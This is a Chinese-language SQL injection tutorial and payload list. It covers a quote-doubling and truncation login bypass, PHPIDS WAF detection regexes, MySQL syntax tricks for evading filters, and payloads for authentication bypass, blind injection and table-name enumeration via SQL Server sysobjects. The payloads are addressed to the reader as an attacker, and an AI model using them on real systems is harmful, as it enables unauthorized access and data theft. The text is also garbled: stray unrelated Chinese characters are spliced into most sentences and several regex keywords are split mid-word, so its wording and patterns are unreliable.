假設(shè)應(yīng)用程序使用清理過濾器椿浓,它執(zhí)行以下步驟:
將引號加倍太援,用兩個單引號(“)替換單引號(')的每個實例
將每個項目截斷為16個字符。 如果您提供典型的SQL注入攻擊向量扳碍,例如:
admin'--
將執(zhí)行以下查詢提岔,您的攻擊將失敗:
SELECT uid FROM tblUsers WHERE username = 'admin''--' AND password = ''
雙引號表示您的輸入無法終止用戶名字符串左腔,因此查詢實際上會檢查具有您提供的文字用戶名的用戶唧垦。 但是,如果您提供包含15個和一個引號的用戶名aaaaaaaaaaaaaa'液样,則應(yīng)用程序首先將引號加倍振亮,生成17個字符的字符串,然后通過截斷為16個字符來刪除其他引號鞭莽。 這使您可以將未轉(zhuǎn)義的引號走私到查詢中坊秸,從而干擾其語法:
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = ''
注意:此初始攻擊會導致錯誤,因為您實際上有一個未終止的字符串澎怒。
a后面的每對引號代表一個轉(zhuǎn)義引號褒搔,并且沒有最終引號來分隔用戶名字符串。 但是喷面,因為您有第二個插入點星瘾,所以在密碼字段中,您可以通過提供以下密碼來恢復(fù)查詢的語法有效性并繞過登錄:
or 1=1--
這會導致應(yīng)用程序執(zhí)行以下查詢:
SELECT uid FROM tblUsers WHERE username = 'aaaaaaaaaaaaaaa'' AND password = 'or 1=1--'
當數(shù)據(jù)庫執(zhí)行此查詢時惧辈,它會檢查文字用戶名為的表條目:
aaaaaaaaaaaaaaa' AND password =
這可能總是假的琳状,或者1 = 1,這總是正確的盒齿。 因此念逞,查詢將返回表中每個用戶的UID,通常會導致應(yīng)用程序?qū)⒛鳛楸碇械牡谝粋€用戶登錄边翁。 要以特定用戶身份登錄(例如翎承,使用UID 0),您將提供以下密碼:
or uid=0--
注意:此查詢被認為是用于身份驗證繞過或權(quán)限提升的非常古老的技術(shù)符匾。
0x05 ~ 更高級的
基于Regexp的WAF:
(?:)\swhen\s\d+\sthen)|(?:"\s(?:#|--|{))|(?:\/*!\s?\d+)|(?:ch(?:a)?r\s(\s\d)|(?:(?:(n?and|x?or|not)\s+||||\&\&)\s\w+()
(?:[\s()]case\s()|(?:)\slike\s()|(?:having\s[^\s]+\s[^\w\s])|(?:if\s?([\d\w]\s[=<>~])
(?:"\sor\s"?\d)|(?:\x(?:23|27|3d))|(?:^.?"$)|(?:(?:^["\](?:[\d"]+|[^"]+"))+\s(?:n?and|x?or|not||||\&\&)\s[\w"[+&!@(),.-])|(?:[^\w\s]\w+\s[|-]
\s"\s\w)|(?:@\w+\s+(and|or)\s["\d]+)|(?:@[\w-]+\s(and|or)\s[^\w\s])|(?:[^\w\s:]\s\d\W+[^\w\s]\s".)|(?:\Winformation_schema|table_name\W)
(?:"\s*.+(?:or|id)\W"\d)|(?:\^")|(?:^[\w\s"-]+(?<=and\s)(?<=or\s)(?<=xor\s)(?<=nand\s)(?<=not\s)(?<=||)(?<=\&\&)\w+()|(?:"[\s\d][^\w\s]+\W\d
\W.["\d])|(?:"\s[^\w\s?]+\s[^\w\s]+\s")|(?:"\s[^\w\s]+\s[\W\d].(?:#|--))|(?:".*\s\d)|(?:"\sor\s[^\d]+[\w-]+.\d)|(?:[()<>%+-][\w-]+[^\w\s]
+"[^,])
(?:\d"\s+"\s+\d)|(?:^admin\s"|(\/*)+"+\s?(?:--|#|\/*|{)?)|(?:"\sor[\w\s-]+\s[+<>=(),-]\s[\d"])|(?:"\s[^\w\s]?=\s")|(?:"\W[+=]+\W")|(?:"\s[!=|]
[\d\s!=+-]+.["(].$)|(?:"\s[!=|][\d\s!=]+.\d+$)|(?:"\slike\W+[\w"(])|(?:\sis\s0\W)|(?:where\s[\s\w.,-]+\s=)|(?:"[<>~]+")
(?:union\s(?:all|distinct|[(!@])?\s[([]\sselect)|(?:\w+\s+like\s+\")|(?:like\s"\%)|(?:"\slike\W["\d])|(?:"\s(?:n?and|x?or|not ||||\&\&)\s+[\s
\w]+=\s\w+\shaving)|(?:"\s*\s\w+\W+")|(?:"\s[^?\w\s=.,;)(]+\s[(@"]\s\w+\W+\w)|(?:select\s[[]()\s\w.,"-]+from)|(?:find_in_set\s()
(?:in\s(+\sselect)|(?:(?:n?and|x?or|not ||||\&\&)\s+[\s\w+]+(?:regexp\s(|sounds\s+like\s"|[=\d]+x))|("\s\d\s(?:--|#))|(?:"[%&<>^=]+\d\s(=|
or))|(?:"\W+[\w+-]+\s=\s\d\W+")|(?:"\sis\s\d.+"?\w)|(?:"|?[\w-]{3,}[^\w\s.,]+")|(?:"\sis\s[\d.]+\s\W.")
(?:[\d\W]\s+as\s["\w]+\sfrom)|(?:^[\W\d]+\s(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc) )|(?:(?:select|create|rename|
truncate|load|alter|delete|update|insert|desc)\s+(?:(?:group_)concat|char|load_f ile)\s?(?)|(?:end\s);)|("\s+regexp\W)|(?:[\s(]load_file\s()
(?:@.+=\s(\sselect)|(?:\d+\sor\s\d+\s[-+])|(?:\/\w+;?\s+(?:having|and|or|select)\W)|(?:\d\s+group\s+by.+()|(?:(?:;|#|--)\s(?:drop|alter))|(?:
(?:;|#|--)\s(?:update|insert)\s\w{2,})|(?:[^\w]SET\s@\w+)|(?:(?:n?and|x?or|not ||||\&\&)[\s(]+\w+[\s)][!=+]+[\s\d]["=()])
(?:"\s+and\s=\W)|(?:(\sselect\s\w+\s()|(?:*\/from)|(?:+\s\d+\s+\s@)|(?:\w"\s(?:[-+=|@]+\s)+[\d(])|(?:coalesce\s(|@@\w+\s[^\w\s])|(?:\W!
+"\w)|(?:";\s(?:if|while|begin))|(?:"[\s\d]+=\s\d)|(?:order\s+by\s+if\w\s()|(?:[\s(]+case\d\W.+[tw]hen[\s(])
(?:(select|;)\s+(?:benchmark|if|sleep)\s?(\s(?\s\w+)
(?:create\s+function\s+\w+\s+returns)|(?:;\s(?:select|create|rename|truncate|lo ad|alter|delete|update|insert|desc)\s(
(?:alter\s\w+.character\s+set\s+\w+)|(";\swaitfor\s+time\s+")|(?:";.:\sgoto)
(?:procedure\s+analyse\s()|(?:;\s(declare|open)\s+[\w-]+)|(?:create\s+(procedure|function)\s\w+\s(\s)\s-)|(?:declare[^\w]+[@#]\s\w+)|(exec\s\
(\s@)
(?:select\spg_sleep)|(?:waitfor\sdelay\s?"+\s?\d)|(?:;\sshutdown\s(?:;|--|#|\/*|{))
(?:*ec\s+xp_cmdshell)|(?:"\s!\s["\w])|(?:from\W+informationschema\W)|(?:(?:(?:current)?user|database|schema|connec tion_id)\s([^)])|(?:";?
\s(?:select|union|having)\s[^\s])|(?:\wiif\s()|(?:exec\s+master.)|(?:union select @)|(?:union[\w(\s]select)|(?:select.\w?user()|(?:into[\s+]+
(?:dump|out)file\s")
(?:merge.using\s()|(execute\simmediate\s")|(?:\W+\d\shaving\s[^\s-])|(?:match\s[\w(),+-]+\sagainst\s()
(?:,.[)\da-f"]"(?:"."|\Z|[^"]+))|(?:\Wselect.+\Wfrom)|((?:select|create|rename|truncate|load|alter|delete|up date|insert|desc)\s(\sspace\s()
(?:[\$(?:ne|eq|lte?|gte?|n?in|mod|all|size|exists|type|slice|or)])
(?:(sleep((\s)(\d)(\s))|benchmark((.)\,(.))))
(?:(union(.)select(.)from))
(?:^(-0000023456|4294967295|4294967296|2147483648|2147483647|0000012345|-2147483648|-2147483649|0000023456|2.2250738585072007e-308|1e309)$)
PHPIDS使用的一些正則表達式0.7昆婿。
NULL的別名
在MySQL中扫夜,NULL可以寫為\ N區(qū)分大小寫蒲拉。 \ n不是null。
這意味著任何在用戶輸入上執(zhí)行“to_lower”并查找“null”的WAF將錯過這種情況仰剿。
浮點
digits
digits[.]
digits[.]digits
digits[eE]digits
digits[eE][+-]digits
digits[.][eE]digits
digits[.]digits[eE]digits
digits[.]digits[eE][+-]digits
[.]digits
[.]digits[eE]digits
[.]digits[eE][+-]digits
可選以[+ - ]開頭
例外:1.AND 2(“1.”“AND”之間沒有空格)一些解析器接受,有些則不接受痴晦。 1e1 vs. 1e1.0?未定義
十六進制文字
0xDEADbeef
0x區(qū)分大小寫琳彩。
二進制文字
b'10101010'
0b010101
C風格字符串合并
C風格的連續(xù)字符串合并為一個誊酌。
SELECT 'foo' "bar";
Ad-Hoc Charset
_charset'....'
_latin1'.....'
_utf8'....'
Operators
!=, <=>
表達
使用“OR 1 = 1”的公共查詢擴展名。 除了使用文字之外露乏,還可以使用函數(shù):
COS(0)= SIN(PI()/ 2)
COS(@VERSION)= -SIN(@VERSION + PI()/ 2)
“IN”列表
WHERE id IN (1,2,3,4)
這些必須在任何平臺碧浊,框架或語言中手動創(chuàng)建,不對此構(gòu)造進行API或參數(shù)綁定瘟仿。 沒有一致箱锐,安全的方法來使這個(除了約定,驗證)未定義
ESP:
正常的SQL注入:
1 OR 1=1
使用封裝數(shù)據(jù)的正常SQL注入:
1' OR '1'='1
盲SQL注入以拋出錯誤以驗證封裝不起作用劳较。 這里的目標是拋出一個錯誤驹止,使應(yīng)用程序向我們顯示它沒有正確封裝引號:
1'1
使用EXEC創(chuàng)建錯誤的盲SQL注入:
1 EXEC SP?(or EXEC XP)
盲SQL注入檢測(如果我們排除了AND 1 = 1部分,那么如果我們得到過濾就不會給我們相同的結(jié)果观蜗。如果它確實給我們相同的結(jié)果它表明應(yīng)用程序易受攻擊):
1 AND 1=1
盲注SQL注入嘗試通過潛在的名稱進行強力迭代來定位表名(您必須重命名表名臊恋,直到找到匹配項):
1' AND 1=(SELECT COUNT(*) FROM tablenames); --
使用反斜杠避開逃逸(這假定應(yīng)用程序使用另一個單引號注釋掉單引號,并在它之前引入反斜杠墓捻,它會注釋掉過濾器添加的單引號)抖仅。 這種類型的過濾器由mySQL的mysql_real_escape_string()和PERL的DBD方法$ dbh-> quote()應(yīng)用:
\'; DESC users; --
通過嘗試使用上面看到的反斜杠方法創(chuàng)建錯誤來更盲目的SQL注入:
1\'1
通過調(diào)用偽表創(chuàng)建錯誤。 這可以通過調(diào)用不存在的表來嘗試創(chuàng)建錯誤來幫助公開易受攻擊的應(yīng)用程序(嘗試使用和不使用引號):
1' AND non_existant_table = '1
枚舉數(shù)據(jù)庫表名砖第。 通過將116更改為不同的數(shù)字撤卢,您可以使用logrithmic reduction來查找數(shù)據(jù)庫表名的第一個char。 然后迭代第一個1中的1梧兼,你最終可以獲得整個表名放吩。
1 AND ASCII(LOWER(SUBSTRING((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) 116
使用SQL Server中的sysObjects表查找用戶提供的表:
1 UNION ALL SELECT 1,2,3,4,5,6,name FROM sysObjects WHERE xtype = 'U' --